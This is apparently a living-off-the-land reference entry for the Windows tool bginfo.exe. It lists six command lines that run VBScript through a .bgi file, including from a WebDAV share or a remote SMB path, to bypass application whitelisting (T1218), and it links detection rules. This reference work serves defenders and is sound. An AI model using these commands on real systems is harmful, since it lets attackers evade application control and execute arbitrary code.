Bginfo.exe

Commands

1. ExecuteUser T1218

   Local execution of VBScript

   bginfo.exe {PATH:.bgi} /popup /nolicprompt

   Execute VBscript code that is referenced within the specified .bgi file.

   os: Windows

   Execute: WSH

2. AWL BypassUser T1218

   Local execution of VBScript

   bginfo.exe {PATH:.bgi} /popup /nolicprompt

   Execute VBscript code that is referenced within the specified .bgi file.

   os: Windows

   Execute: WSH

3. ExecuteUser T1218

   Remote execution of VBScript

   \\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt

   Execute bginfo.exe from a WebDAV server.

   os: Windows

   Execute: WSH

4. AWL BypassUser T1218

   Remote execution of VBScript

   \\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt

   Execute bginfo.exe from a WebDAV server.

   os: Windows

   Execute: WSH

5. ExecuteUser T1218

   Remote execution of VBScript

   \\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt

   This style of execution may not longer work due to patch.

   os: Windows

   Execute: WSHExecute: Remote

6. AWL BypassUser T1218

   Remote execution of VBScript

   \\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt

   This style of execution may not longer work due to patch.

   os: Windows

   Execute: WSHExecute: Remote

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml
• Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
• Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
• BlockRule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Resources

• https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/